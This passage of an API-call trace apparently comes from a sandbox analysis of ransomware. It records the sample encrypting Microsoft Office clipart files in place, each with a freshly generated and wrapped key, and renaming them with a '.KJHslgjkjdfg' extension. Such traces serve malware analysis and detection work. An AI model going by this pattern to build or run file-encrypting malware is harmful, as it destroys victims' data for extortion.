lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.403] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.403] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.403] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.403] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.403] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.403] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.403] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1b74, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1b74, lpOverlapped=0x0) returned 1 [0185.404] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b80, dwBufLen=0x1b80 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1b80) returned 1 [0185.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.404] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1b80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1b80, lpOverlapped=0x0) returned 1 [0185.404] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.404] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1c54, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.404] SetEndOfFile (hFile=0x114) returned 1 [0185.407] GetProcessHeap () returned 0x2a0000 [0185.407] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.407] GetProcessHeap () returned 0x2a0000 [0185.407] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.407] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01361_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01361_.wmf.kjhslgjkjdfg")) returned 1 [0185.408] CloseHandle (hObject=0x114) returned 1 [0185.408] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe5b0900, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbe5b0900, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x40412, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01368_.WMF", cAlternateFileName="")) returned 1 [0185.408] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.409] GetProcessHeap () returned 0x2a0000 [0185.409] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.409] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.410] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.410] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0185.412] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.412] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.412] GetProcessHeap () returned 0x2a0000 [0185.412] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.412] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.412] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.412] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.412] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.412] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.412] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.412] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.413] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.413] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.413] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.413] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.413] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x40412, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x40412, lpOverlapped=0x0) returned 1 [0185.417] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x40420, dwBufLen=0x40420 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x40420) returned 1 [0185.419] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.419] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x40420, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x40420, lpOverlapped=0x0) returned 1 [0185.420] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.420] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x404f4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.420] SetEndOfFile (hFile=0x114) returned 1 [0185.422] GetProcessHeap () returned 0x2a0000 [0185.423] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.423] GetProcessHeap () returned 0x2a0000 [0185.423] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.423] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01368_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01368_.wmf.kjhslgjkjdfg")) returned 1 [0185.424] CloseHandle (hObject=0x114) returned 1 [0185.424] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8653c600, ftCreationTime.dwHighDateTime=0x1bd4b3c, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8653c600, ftLastWriteTime.dwHighDateTime=0x1bd4b3c, nFileSizeHigh=0x0, nFileSizeLow=0x2b16e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01421_.WMF", cAlternateFileName="")) returned 1 [0185.425] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.426] GetProcessHeap () returned 0x2a0000 [0185.426] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.426] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.426] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.426] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x2, lpOverlapped=0x0) returned 1 [0185.428] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.428] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.428] GetProcessHeap () returned 0x2a0000 [0185.428] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.428] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.428] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.428] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.428] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.428] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.428] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.428] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.428] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.429] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.429] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.429] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.429] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2b16e, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2b16e, lpOverlapped=0x0) returned 1 [0185.434] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b170, dwBufLen=0x2b170 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2b170) returned 1 [0185.435] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.436] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2b170, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2b170, lpOverlapped=0x0) returned 1 [0185.436] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.436] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2b244, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.436] SetEndOfFile (hFile=0x114) returned 1 [0185.439] GetProcessHeap () returned 0x2a0000 [0185.439] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.439] GetProcessHeap () returned 0x2a0000 [0185.439] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.439] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01421_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01421_.wmf.kjhslgjkjdfg")) returned 1 [0185.441] CloseHandle (hObject=0x114) returned 1 [0185.441] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b435600, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b435600, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4e82, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01468_.WMF", cAlternateFileName="")) returned 1 [0185.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.442] GetProcessHeap () returned 0x2a0000 [0185.442] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.443] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.443] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.443] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0185.444] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.444] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.445] GetProcessHeap () returned 0x2a0000 [0185.445] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.445] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.445] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.445] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.445] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.445] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.445] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.445] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.445] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.445] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.445] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.445] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.445] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x4e82, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x4e82, lpOverlapped=0x0) returned 1 [0185.446] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e90, dwBufLen=0x4e90 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x4e90) returned 1 [0185.446] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.446] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x4e90, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x4e90, lpOverlapped=0x0) returned 1 [0185.447] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.447] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x4f64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0185.447] SetEndOfFile (hFile=0x114) returned 1 [0185.449] GetProcessHeap () returned 0x2a0000 [0185.449] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0185.449] GetProcessHeap () returned 0x2a0000 [0185.449] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0185.449] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01468_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01468_.wmf.kjhslgjkjdfg")) returned 1 [0185.451] CloseHandle (hObject=0x114) returned 1 [0185.451] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87afcf00, ftCreationTime.dwHighDateTime=0x1bd4af9, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x87afcf00, ftLastWriteTime.dwHighDateTime=0x1bd4af9, nFileSizeHigh=0x0, nFileSizeLow=0x4ada, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01470_.WMF", cAlternateFileName="")) returned 1 [0185.451] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01470_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01470_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0185.452] GetProcessHeap () returned 0x2a0000 [0185.452] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0185.452] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0185.452] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0185.452] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x6, lpOverlapped=0x0) returned 1 [0185.454] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0185.454] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0185.454] GetProcessHeap () returned 0x2a0000 [0185.454] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0185.454] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0185.454] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0185.455] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0185.455] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0185.455] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0185.455] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0185.455] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0185.455] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0185.455] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 